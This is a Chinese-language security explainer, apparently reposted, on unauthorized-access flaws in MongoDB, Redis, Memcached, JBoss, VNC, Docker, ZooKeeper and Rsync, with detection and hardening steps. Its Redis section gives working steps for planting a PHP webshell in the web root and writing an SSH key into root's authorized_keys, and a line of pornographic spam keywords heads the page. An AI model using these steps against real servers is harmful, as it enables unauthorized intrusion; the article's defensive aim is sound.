欧美午夜诱惑在线_一区二区三级片_国产成人综合v在线_国产91精品无码免费_高清综合亚洲三级_黄色软件下载观看_上萬網友分享国产精品高潮呻吟久久av心得_美女扒开尿眼无遮挡免费视频_好紧好湿好黄的视频免费_亚洲日韩欧美中字五月天

    未授權(quán)訪(fǎng)問(wèn)漏洞有何影響？一些朋友對(duì)于未授權(quán)訪(fǎng)問(wèn)漏洞不是很了解，未授權(quán)訪(fǎng)問(wèn)漏洞可以理解為需要安全配置或權(quán)限認(rèn)證的地址、授權(quán)頁(yè)面存在缺陷導(dǎo)致其他用戶(hù)可以直接訪(fǎng)問(wèn)從而引發(fā)重要權(quán)限可被操作、數(shù)據(jù)庫(kù)或網(wǎng)站目錄等敏感信息泄露。因此，做好防范是很重要的，下面我們來(lái)了解一下常見(jiàn)的未授權(quán)訪(fǎng)問(wèn)漏洞類(lèi)型，對(duì)大家做好防范會(huì)有一定的幫助。

一、MongoDB 未授權(quán)訪(fǎng)問(wèn)漏洞

    漏洞信息

    (1) 漏洞簡(jiǎn)述開(kāi)啟 MongoDB 服務(wù)時(shí)若不添加任何參數(shù)默認(rèn)是沒(méi)有權(quán)限驗(yàn)證的而且可以遠(yuǎn)程訪(fǎng)問(wèn)數(shù)據(jù)庫(kù)登錄的用戶(hù)無(wú)需密碼即可通過(guò)默認(rèn)端口 27017 對(duì)數(shù)據(jù)庫(kù)進(jìn)行增、刪、改、查等高危操作。剛安裝完畢時(shí)MongoDB 都默認(rèn)有一個(gè) admin 數(shù)據(jù)庫(kù)此時(shí) admin 數(shù)據(jù)庫(kù)為空沒(méi)有記錄權(quán)限相關(guān)的信息。當(dāng) admin.system.users 一個(gè)用戶(hù)都沒(méi)有時(shí)即使 MongoDB 啟動(dòng)時(shí)添加了 –auth 參數(shù)還是可以做任何操作不管是否以 –auth 參數(shù)啟動(dòng)直到在 admin.system.users 中添加了一個(gè)用戶(hù)。

    (2) 風(fēng)險(xiǎn)等級(jí)高風(fēng)險(xiǎn)。

    (3) 漏洞編號(hào)無(wú)。

    (4) 影響范圍MongoDB 數(shù)據(jù)庫(kù)。

    檢測(cè)方法

    可以自己編制相應(yīng)腳本或利用專(zhuān)用工具檢測(cè)也可以查看配置文件

    (1) 檢測(cè)是否僅監(jiān)聽(tīng) 127.0.0.1

--bind_ip 127.0.0.1
or
vim /etc/mongodb.conf
bind_ip = 127.0.0.1

    (2) 檢測(cè)是否開(kāi)啟 auth 認(rèn)證

mongod --auth
or
vim /etc/mongodb.conf
auth = true

    修復(fù)方法

    (1) 為 MongoDB 添加認(rèn)證

    ① MongoDB 啟動(dòng)時(shí)添加 -auth 參數(shù)。

    ② 給 MongoDB 添加用戶(hù)

use admin # 使用 admin 庫(kù)
db.addUser“用戶(hù)名” “密碼”# 添加用戶(hù)名、密碼
db.auth“用戶(hù)名”,“密碼”# 驗(yàn)證是否添加成功返回 1 說(shuō)明成功。

    (2) 禁用 HTTP 和 REST 端口

    MongoDB 自身帶有一個(gè) HTTP 服務(wù)并支持 REST 接口。在 2.6 版本以后這些接口默認(rèn)關(guān)閉。MongoDB 默認(rèn)會(huì)使用默認(rèn)端口監(jiān)聽(tīng) Web 服務(wù)一般不需要通過(guò) Web 方式進(jìn)行遠(yuǎn)程管理建議禁用。修改配置文件或在啟動(dòng)時(shí)選擇 -nohttpinterface 參數(shù) nohttpinterface = false。

    (3) 限制綁定 IP

    啟動(dòng)時(shí)加入?yún)?shù)

--bind_ip 127.0.0.1

    或在 /etc/mongodb.conf 文件中添加以下內(nèi)容

bind_ip = 127.0.0.1

二、Redis 未授權(quán)訪(fǎng)問(wèn)漏洞

    漏洞信息

    (1) 漏洞簡(jiǎn)述Redis 是一個(gè)高性能的 Key – Value 數(shù)據(jù)庫(kù)。Redis 的出現(xiàn)很大程度上彌補(bǔ)了 memcached 這類(lèi) Key/Value 存儲(chǔ)的不足在部分場(chǎng)合可以對(duì)關(guān)系數(shù)據(jù)庫(kù)起到很好的補(bǔ)充作用。Redis 默認(rèn)情況下會(huì)綁定在 0.0.0.0:6379這樣會(huì)將 Redis 服務(wù)暴露到公網(wǎng)上。在沒(méi)有開(kāi)啟認(rèn)證的情況下會(huì)導(dǎo)致任意用戶(hù)在可以訪(fǎng)問(wèn)目標(biāo)服務(wù)器的情況下未經(jīng)授權(quán)就訪(fǎng)問(wèn)到 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪(fǎng)問(wèn) Redis 的情況下可以利用 Redis 的相關(guān)方法成功地在 Redis 服務(wù)器上寫(xiě)入公鑰進(jìn)而可以使用對(duì)應(yīng)私鑰直接登錄目標(biāo)服務(wù)器。

    (2) 風(fēng)險(xiǎn)等級(jí)高風(fēng)險(xiǎn)。

    (3) 漏洞編號(hào)無(wú)。

    (4) 影響范圍Redis 數(shù)據(jù)庫(kù)。

    檢測(cè)方法

    先用 nmap 掃描查看端口開(kāi)放情況發(fā)現(xiàn)開(kāi)放的 6379 端口為 Redis 的默認(rèn)端口

Nmap -A -p 6379 --script redis-info 192.168.10.153

    Nmap 掃描后發(fā)現(xiàn)主機(jī)的 6379 端口對(duì)外開(kāi)放可以通過(guò) Redis 客戶(hù)端進(jìn)行連接測(cè)試是否存在未授權(quán)訪(fǎng)問(wèn)漏洞具體命令如下：

./redis-cli -h 192.168.10.153
Info

    就可以看到 Redis 的版本和服務(wù)器上內(nèi)核的版本信息也可以 del key 刪除數(shù)據(jù)在網(wǎng)站寫(xiě)入木馬寫(xiě)入 SSH 公鑰或者在 crontab 里寫(xiě)定時(shí)任務(wù)反彈 shell 等。

    (1) 網(wǎng)站寫(xiě)碼

    ① 先用客戶(hù)端連接服務(wù)器的 redis 服務(wù)

redis-cli.exe -h 目標(biāo)IP

    ② 連接后設(shè)置目錄

config set dir /var/www/html此路徑是服務(wù)器端 Web 網(wǎng)站的目錄

    ③ 設(shè)置要寫(xiě)入的文件名

config set dbfilename redis88.php

    ④ 設(shè)置要寫(xiě)入的內(nèi)容

set webshell "<?php @eval($_POST['123']); ?>"

    ⑤ 保存

save

    ⑥ 保存后用菜刀連接此木馬得到 webshell。

    (2) 結(jié)合 SSH 免密碼登錄

    ① 先在本地建個(gè) ssh 的密鑰

ssh-keygen-trsa

    ② 將公鑰的內(nèi)容寫(xiě)到一個(gè)文本中命令如下

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt

    注意寫(xiě)到文件中時(shí)一定要在前面加幾行后面加幾行。

    ③ 將里面的內(nèi)容寫(xiě)入遠(yuǎn)程的 Redis 服務(wù)器上并且設(shè)置其 Key 為 test命令如下

cat test.txt | redis -cli -h <hostname> -x set test

    ④ 登錄遠(yuǎn)程服務(wù)器可以看到公鑰已經(jīng)添加到 Redis 的服務(wù)器上了命令如下

redis-cli -h <hostname>
keys *get test

    ⑤ 隨后就是最關(guān)鍵的了Redis 有個(gè) save 命令save 命令執(zhí)行一個(gè)同步保存操作將當(dāng)前 Redis 實(shí)例的所有數(shù)據(jù)快照snapshot以 RDB 文件的形式保存到硬盤(pán)。所以save 命令就可以將 test 里的公鑰保存到 /root/.ssh 下要有權(quán)限。

    修改保存的路徑為

config set dir "/root/.ssh"

    修改文件名為

config set dbfilename "authorized_keys"

    保存。

    ⑥ 測(cè)試一下

ssh 用戶(hù)名@<IP地址>

    實(shí)現(xiàn)免密碼成功登陸。

    修復(fù)方法

    (1) 設(shè)置 Redis 訪(fǎng)問(wèn)密碼在 redis.conf 中找到 “requirepass” 字段在后面填上強(qiáng)口令redis 客戶(hù)端也需要此密碼來(lái)訪(fǎng)問(wèn) redis 服務(wù)。

    (2) 配置 bind 選項(xiàng)限定可以連接 Reids 服務(wù)器的 IP并修改默認(rèn)端口 6379。

    (3) 重啟 Redis 服務(wù)。

    (4) 清理系統(tǒng)中存在的后門(mén)木馬。

三、Memcached 未授權(quán)訪(fǎng)問(wèn)漏洞CVE-2013-7239

    漏洞信息

    (1) 漏洞簡(jiǎn)述Memcached 是一套分布式高速緩存系統(tǒng)。它以 Key – Value 的形式將數(shù)據(jù)存儲(chǔ)在內(nèi)存中。這些數(shù)據(jù)通常是會(huì)被頻繁地應(yīng)用、讀取的。正因?yàn)閮?nèi)存中數(shù)據(jù)的讀取速度遠(yuǎn)遠(yuǎn)大于硬盤(pán)的讀取速度所以可以用來(lái)加速應(yīng)用的訪(fǎng)問(wèn)。由于 Memcached 的安全設(shè)計(jì)缺陷客戶(hù)端連接 Memcached 服務(wù)器后無(wú)需認(rèn)證就可讀取、修改服務(wù)器緩存內(nèi)容。

    (2) 風(fēng)險(xiǎn)等級(jí)高風(fēng)險(xiǎn)。

    (3) 漏洞編號(hào)CVE-2013-7239 。

    (4) 影響范圍Memcached 全版本。

    檢測(cè)方法

    登錄機(jī)器執(zhí)行 netstat -an | more 命令查看端口監(jiān)聽(tīng)情況?；仫@ 0.0.0.0:1121111211 表示在所有網(wǎng)卡進(jìn)行監(jiān)聽(tīng)存在 Memcached 未授權(quán)訪(fǎng)問(wèn)漏洞。

telnet <target> 11211
or
nc -vv <target> 11211

    提示連接成功表示漏洞存在。

    使用端口掃描工具 nmap 進(jìn)行遠(yuǎn)程掃描

nmap -sV -p11211 --script memcached-info <target>

    修復(fù)方法

    (1) 配置訪(fǎng)問(wèn)控制。建議用戶(hù)不要將服務(wù)發(fā)布到互聯(lián)網(wǎng)上以防被黑客利用而可以通過(guò)安全組規(guī)則或 Iptables 配置訪(fǎng)問(wèn)控制規(guī)則只允許內(nèi)部必需的用戶(hù)地址訪(fǎng)問(wèn)命令如下

iptables -A INPUT -p tcp -s 192.168.0.2 --dport 11211 -j ACCEPT

    (2) bind 指定監(jiān)聽(tīng) IP。如果 Memcached 沒(méi)有在外網(wǎng)開(kāi)放的必要可在 Memcached 啟動(dòng)時(shí)指定綁定的 IP 地址為 127.0.0.1。例如

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

    (3) 最小化權(quán)限運(yùn)行。使用普通權(quán)限賬號(hào)運(yùn)行以下指定 memcached 用戶(hù)運(yùn)行

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

    (4) 修改默認(rèn)端口。修改默認(rèn) 11211 監(jiān)聽(tīng)端口為 11222 端口

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

    (5) 備份數(shù)據(jù)。為避免數(shù)據(jù)丟失升級(jí)前應(yīng)做好備份或建立硬盤(pán)快照。

四、JBOSS 未授權(quán)訪(fǎng)問(wèn)漏洞

    漏洞信息

    (1) 漏洞簡(jiǎn)述JBOSS 企業(yè)應(yīng)用平臺(tái)EAP是 J2EE 應(yīng)用的中間件平臺(tái)。默認(rèn)情況下訪(fǎng)問(wèn) http://ip:8080/jmx-console 就可以瀏覽 jboss 的部署管理的信息不需要輸入用戶(hù)名和密碼可以直接部署上傳木馬有安全隱患。

    (2) 風(fēng)險(xiǎn)等級(jí)高風(fēng)險(xiǎn)。

    (3) 漏洞編號(hào)無(wú)。

    (4) 影響范圍JBOSS 全版本。

    檢測(cè)方法

    先用 nmap 掃描查看端口開(kāi)放情況看是否開(kāi)放 JBOSS 端口。再使用漏洞測(cè)試工具測(cè)試 jmx 組件存在情況通過(guò)訪(fǎng)問(wèn) http://ip:jboss端口/ 看是否能進(jìn)入 jmx-console 和 web-console 。

    修復(fù)方法

    JMX Console 安全配置

    ① 找到 %JBOSS_HOME%/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml 文件去掉下面這段 xml 文本的注釋。

    ② 與 jboss-web.xml 同級(jí)的目錄下還有一個(gè)文件 web.xml找到下面這段 xml 文本把 GET 和 POST 兩行注釋掉同時(shí) security-constraint 整個(gè)部分取消注釋, 不然存在head頭繞過(guò)。

    ③ %JBOSS_HOME%\server\default\conf\props\jbossws-users.properties 中刪除原始的 admin/admin添加新的用戶(hù)名密碼。

    ④ %JBOSS_HOME%\server\default\conf\props\jbossws-roles.properties 中定義新用戶(hù)名所屬角色。該文件定義的格式為用戶(hù)名 = 角色多個(gè)角色以 “,” 隔開(kāi)該文件默認(rèn)為 admin 用戶(hù)定義了 JBossAdmin 和 HttpInvoker 這兩個(gè)角色。

# A sample roles.properties file foruse with the UsersRolesLoginModule
kermit = JBossAdmin,HttpInvoker

五、VNC 未授權(quán)訪(fǎng)問(wèn)漏洞

    漏洞信息

    (1) 漏洞簡(jiǎn)述VNC 是虛擬網(wǎng)絡(luò)控制臺(tái)Virtual Network Console的英文縮寫(xiě)。它是一款優(yōu)秀的遠(yuǎn)程控制工具軟件由美國(guó)電話(huà)電報(bào)公司AT&T的歐洲研究實(shí)驗(yàn)室開(kāi)發(fā)。VNC是基于 UNXI 和 Linux 的免費(fèi)開(kāi)源軟件由 VNC Server 和 VNC Viewer 兩部分組成。VNC 默認(rèn)端口號(hào)為 5900、5901。VNC 未授權(quán)訪(fǎng)問(wèn)漏洞如被利用可能造成惡意用戶(hù)直接控制受控主機(jī)危害相當(dāng)嚴(yán)重。

    (2) 風(fēng)險(xiǎn)等級(jí)高風(fēng)險(xiǎn)。

    (3) 漏洞編號(hào)無(wú)。

    (4) 影響范圍VNC 全版本。

    檢測(cè)方法

    使用 metasploit 進(jìn)行批量檢測(cè)

    (1) 在 kali 下運(yùn)行 msfconsolemsfconsole。

    (2) 調(diào)用 VNC 未授權(quán)檢測(cè)模塊use auxiliary/scanner/vnc/vnx_none_auth。

    (3) 顯示有哪些選項(xiàng)show options。

    (4) 設(shè)置地址段set rhosts ip 或 段。

    (5) 設(shè)置線(xiàn)程set threads 50。

    (6) 開(kāi)始掃描run。

    修復(fù)方法

    (1) 配置 VNC 客戶(hù)端登錄口令認(rèn)證并配置符合密碼強(qiáng)度要求的密碼。

    (2) 以最小權(quán)限的普通用戶(hù)身份運(yùn)行操作系統(tǒng)。

六、Docker 未授權(quán)訪(fǎng)問(wèn)漏洞

    漏洞信息

    (1) 漏洞簡(jiǎn)述Docker 是一個(gè)開(kāi)源的引擎可以輕松地為任何應(yīng)用創(chuàng)建一個(gè)輕量級(jí)的、可移植的、自給自足的容器。開(kāi)發(fā)者在筆記本上編譯測(cè)試通過(guò)的容器可以批量地在生產(chǎn)環(huán)境中部署包括 VMs、bare metal、OpenStack 集群和其他的基礎(chǔ)應(yīng)用平臺(tái)Docker 存在問(wèn)題的版本分別為 1.3 和 1.6因?yàn)闄?quán)限控制等問(wèn)題導(dǎo)致可以脫離容器拿到宿主機(jī)權(quán)限。

    (2) 風(fēng)險(xiǎn)等級(jí)高風(fēng)險(xiǎn)。

    (3) 漏洞編號(hào)無(wú)。

    (4) 影響范圍Docker 1.3、Docker 1.6。

    檢測(cè)方法

    先用 nmap 掃描查看端口開(kāi)放情況。2375 為 docker 端口如果存在漏洞會(huì)有以下情況url 輸入 ip:2375/version 就會(huì)列出基本信息也可以執(zhí)行目標(biāo)服務(wù)器容器命令如 container、image 等。

    修復(fù)方法

    (1) 使用 TLS 認(rèn)證。

    (2) 網(wǎng)絡(luò)訪(fǎng)問(wèn)控制Network Access Control

七、ZooKeeper 未授權(quán)訪(fǎng)問(wèn)漏洞

    漏洞信息

    (1) 漏洞簡(jiǎn)述ZooKeeper 是一個(gè)分布式的開(kāi)放源碼的分布式應(yīng)用程序協(xié)調(diào)服務(wù)是 Google 的 Chubby 一個(gè)開(kāi)源的實(shí)現(xiàn)是 Hadoop 和 Hbase 的重要組件。它是一個(gè)為分布式應(yīng)用提供一致性服務(wù)的軟件提供的功能包括配置維護(hù)、域名服務(wù)、分布式同步、組服務(wù)等。ZooKeeper 默認(rèn)開(kāi)啟在 2181 端口在未進(jìn)行任何訪(fǎng)問(wèn)控制的情況下攻擊者可通過(guò)執(zhí)行 envi 命令獲得系統(tǒng)大量的敏感信息包括系統(tǒng)名稱(chēng)Java 環(huán)境。這將導(dǎo)致任意用戶(hù)在網(wǎng)絡(luò)可達(dá)的情況下進(jìn)行為未授權(quán)訪(fǎng)問(wèn)并讀取數(shù)據(jù)甚至 kill 服務(wù)。

    (2) 風(fēng)險(xiǎn)等級(jí)高風(fēng)險(xiǎn)。

    (3) 漏洞編號(hào)無(wú)。

    (4) 影響范圍Zookeeper 全版本。

    檢測(cè)方法

    (1) 通過(guò) nmap 掃描開(kāi)放了 2181 端口的主機(jī)。

    (2) 運(yùn)行腳本通過(guò) socket 連接 2181 端口并發(fā)送 envi 命令若服務(wù)端返回的數(shù)據(jù)中包含 ZooKeeper 的服務(wù)運(yùn)行環(huán)境信息即可證明存在未授權(quán)訪(fǎng)問(wèn)。

    檢測(cè)腳本

# coding=utf-8
 import socketimport sys 
def check(ip, port, timeout, cmd):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send(cmd)
        data = s.recv(1024)
        s.close()        print data    except:        passdef main():
    if len(sys.argv) < 3:
        exit()
    ip = sys.argv[1]
    cmd = sys.argv[2]    # envi
    # dump
    # reqs
    # ruok
    # stat
    check(ip, 2181, 3, cmd) 
if __name__ == '__main__':
    main()

    修復(fù)方法

    (1) 修改 ZooKeeper 默認(rèn)端口，采用其他端口服務(wù)，配置服務(wù)來(lái)源地址限制策略。

    (2) 增加 ZooKeeper 的認(rèn)證配置。

八、Rsync 未授權(quán)訪(fǎng)問(wèn)漏洞

    漏洞信息

    (1) 漏洞簡(jiǎn)述：Rsync（remote synchronize）是一個(gè)遠(yuǎn)程數(shù)據(jù)同步工具，可通過(guò) LAN/WAN 快速同步多臺(tái)主機(jī)間的文件，也可以同步本地硬盤(pán)中的不同目錄。Rsync 默認(rèn)允許匿名訪(fǎng)問(wèn)，如果在配置文件中沒(méi)有相關(guān)的用戶(hù)認(rèn)證以及文件授權(quán)，就會(huì)觸發(fā)隱患。Rsync 的默認(rèn)端口為 837。

    (2) 風(fēng)險(xiǎn)等級(jí)：高風(fēng)險(xiǎn)。

    (3) 漏洞編號(hào)：無(wú)。

    (4) 影響范圍：Rsync 全版本。

    檢測(cè)方法

    nmap 掃描：nmap ip -p837。

    列出當(dāng)前目錄，顯示用戶(hù)：rsync ip。

    如果是root，可以下載任意文件并上傳文件。

    修復(fù)方法

    (1) 隱藏 module 信息：修改配置文件 list =false。

    (2) 權(quán)限控制：不需要寫(xiě)入權(quán)限的 module 的設(shè)置為只讀 Read only = true。

    (3) 網(wǎng)絡(luò)訪(fǎng)問(wèn)控制：使用安全組策略或白名單限制，只允許必要訪(fǎng)問(wèn)的主機(jī)訪(fǎng)問(wèn)：hosts allow = 123.123.123.123。

    (4) 賬戶(hù)認(rèn)證：只允許指定的用戶(hù)利用指定的密碼使用 rsync 服務(wù)。

    (5) 數(shù)據(jù)加密傳輸：Rsync 默認(rèn)沒(méi)有直接支持加密傳輸，如果需要 Rsync 同步重要性很高的數(shù)據(jù)，可以使用 ssh。

    現(xiàn)在大家對(duì)于未授權(quán)訪(fǎng)問(wèn)漏洞的影響應(yīng)該都了解了吧，上述檢測(cè)和修復(fù)方法有一定的參考家價(jià)值，需要的朋友可以了解看看，希望大家閱讀完這篇文章能有所收獲。最后，想要了解更多大家可以關(guān)注群英網(wǎng)絡(luò)其它相關(guān)文章。

文本轉(zhuǎn)載自PHP中文網(wǎng)

免責(zé)聲明：本站發(fā)布的內(nèi)容（圖片、視頻和文字）以原創(chuàng)、轉(zhuǎn)載和分享為主，文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng)，如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱：[email protected]進(jìn)行舉報(bào)，并提供相關(guān)證據(jù)，查實(shí)之后，將立刻刪除涉嫌侵權(quán)內(nèi)容。

猜你喜歡

• 如何在云服務(wù)器配置php環(huán)境？

  linux配置PHP環(huán)境?。。ㄔ品?wù)器架設(shè)）

• 網(wǎng)站可能面臨的安全問(wèn)題有什么？如何做安全維護(hù)?

  近些年，網(wǎng)絡(luò)攻擊的事件越來(lái)越多，隨著互聯(lián)網(wǎng)競(jìng)爭(zhēng)的激烈，很多網(wǎng)站不僅要面臨黑客的攻擊，還可能會(huì)遭受競(jìng)爭(zhēng)對(duì)手的惡意攻擊。因此，為了確保網(wǎng)站的穩(wěn)定發(fā)展，做好網(wǎng)站的安全維護(hù)是至關(guān)重要的。那么究竟我們的網(wǎng)站可能面臨的安全問(wèn)題有什么呢？該如何做好安全維護(hù)?

• 如何使用免費(fèi)的cdn？

  jsDeliver+github使用教程，免費(fèi)的cdn

• JavaScript原型鏈污染是什么意思，有何影響?

  這篇文章我們來(lái)了解一下JavaScript原型鏈污染攻擊，對(duì)于JavaScript原型鏈污染有一些朋友不清楚是什么，對(duì)此本文就給大家來(lái)介紹一下，感興趣的朋友接下來(lái)就跟隨小編來(lái)了解看看吧！

• SQL注入防御有哪些方法？這三招很有用

  SQL注入防御的方法有：1、PreparedStatement；2、使用正則表達(dá)式過(guò)濾傳入的參數(shù)；3、字符串過(guò)濾。其中，采用預(yù)編譯語(yǔ)句集是簡(jiǎn)單又有效的方法，因?yàn)樗鼉?nèi)置了處理SQL注入的能力。